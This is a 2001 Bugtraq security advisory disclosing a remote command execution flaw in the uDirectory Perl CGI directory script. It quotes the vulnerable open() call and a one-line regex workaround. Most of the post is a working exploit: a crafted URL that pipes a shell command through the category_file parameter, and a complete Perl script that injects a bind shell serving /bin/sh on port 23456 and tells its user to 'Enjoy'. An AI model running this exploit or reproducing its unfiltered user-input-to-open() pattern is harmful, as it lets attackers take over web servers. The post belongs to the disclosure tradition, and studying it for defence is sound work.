[21076] in bugtraq
udirectory from Microburst Technologies remote command execution
daemon@ATHENA.MIT.EDU (Deja User)
Mon Jun 18 19:31:21 2001
Date: Mon, 18 Jun 2001 09:25:41 -0700
Message-Id: <200106181625.JAA13441@mail18.bigmailbox.com>
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From: "Deja User" <noident@my-deja.com>
To: bugtraq@securityfocus.com
udirectory from Microburst Technologies, Inc. http://www.uburst.com/uDirectory/
allows remote command execution
Vulnerable versions: 2.0, possibly earlier versions
uDirectory is an online directory and listing management system that allows you to easily create,
update, and maintain an on-line directory...
The offending code in subroutine check_for_duplicate_listing:
----------------------------------------------------------------------------------------
open (CATEGORY_FILE, $gData_directory . $category_file) ||
&return_error("File Error","Unable to open " . $gData_directory . $category_file);
----------------------------------------------------------------------------------------
$category_file is passed by the user. There's no metacharacter filtering.
Old boring stuff, I know, but still a bug
Bug discovered, sploit written and workaround provided by Igor Dobrovitski noident@my-deja.com
Workaround:
------------------------------------
In sub parse_form_data:
find the line:
$value =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg;
after this line add:
$value =~ s/(\.\.|\|$)//g;
------------------------------------
done
Exploit:
www.example.com/cgi-bin/udirectory.pl?MAIN_FIELD=blah&command=add_new_listing&category_file=/../../../../../../../bin/ping+-c+2+x.x.x.x|'
or this:
#!/usr/bin/perl -w
# management, e-commerce ... blah...
# exploit by Igor Dobrovitski noident@my-deja.com
# This program will spawn /bin/sh on server's port 23456 and tell you if it thinks it succeded
# Enjoy
use Socket;
$| = 1;
####################################################################################################
$exec_code = 'use Socket;$protocol = getprotobyname(tcp);socket(SOCK, PF_INET, SOCK_STREAM, $protocol);setsockopt(SOCK, SOL_SOCKET, SO_REUSEADDR, 1);$port=23456;bind(SOCK, sockaddr_in($port, INADDR_ANY));listen(SOCK, 1);accept (NEW, SOCK);if(!fork()){open STDIN, "<&NEW"; open STDOUT, ">&NEW";open STDERR, ">&NEW";exec "/bin/sh -i"}else{close NEW;exit;}';
####################################################################################################
unless(defined $ARGV[0]) {die "Usage: $0 www.example.com/cgi-bin/ustore.pl\n"}
($host, $scriptpath) = $ARGV[0] =~ m|^(.*?)(/.*)$|;
print "Engaging the enemy. Please stand by...\n";
foreach my $perl_path ('/usr/bin/perl', '/usr/local/bin/perl')
{
print "Trying $perl_path\n\n";
my $cmd = $perl_path . ' -e \'' . $exec_code . '\'|';
for(my $i=1;$i<=10;$i++)
{
print "try $i\n";
$cmd = '/..' . $cmd;
$form = makeform({'category_file' => $cmd, 'MAIN_FIELD' => 'blah',
'command' => 'add_new_listing' });
my @reply = &send($form);
}
}
&oops_the_sploit_did_not_work();
sub makeform
{
my $string;
my @blah;
my $line = '';
my $here;
my %data = %{$_[0]};
foreach my $key (keys %data)
{
$line .= "$key" . 'AAAA' . "$data{$key}" . 'BBBB';
}
$line =~ s|^(.*)BBBB$|$1|;
$line =~ s/\\n/\n/g;
$line =~ s/\\t/\t/g;
$line =~ s/\\e/\e/g;
$line =~ s/\\f/\f/g;
$line =~ s/\\r/\r/g;
$line =~ s/\\0/\0/g;
foreach my $char (split //, $line)
{
if($char !~ m/[A-Za-z0-9._ ]/)
{
$char = unpack "H2", $char;
$char = '%' . "$char";
}
push @blah, $char;
}
$string = join "",@blah;
$string =~ s/AAAA/=/g;
$string =~ s/BBBB/&/g;
$string =~ s/ /+/g;
my $cont_len = length($string);
$here = <<EOF;
POST $scriptpath HTTP/1.0
User-Agent: Mozilla (Windows 98)
Host: $host
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
Content-type: application/x-www-form-urlencoded
Content-length: $cont_len
$string
EOF
return $here;
}
sub send
{
my $form_to_send = shift;
my $h = inet_aton($host) or die "Forward lookup for $host failed\n";
socket(S,PF_INET,SOCK_STREAM,6) or die "socket prolems\n";
unless(connect(S,sockaddr_in(80,$h))) {print STDERR "Couldn't connect to " . inet_ntoa($h) . "\n"; close(S); exit 1 }
select(S);
$|=1;
print "$form_to_send";
local $SIG{ALRM} = sub { print STDERR "Timeout was expected. The shell awaits you on port 23456\nBe good and hack wisely.\n"; exit };
alarm(20);
my @reply=<S>;
select(STDOUT);
close(S);
return @reply;
}
sub oops_the_sploit_did_not_work
{
print STDERR "The exploit didn't work on this host\nSorry...\n";
exit;
}
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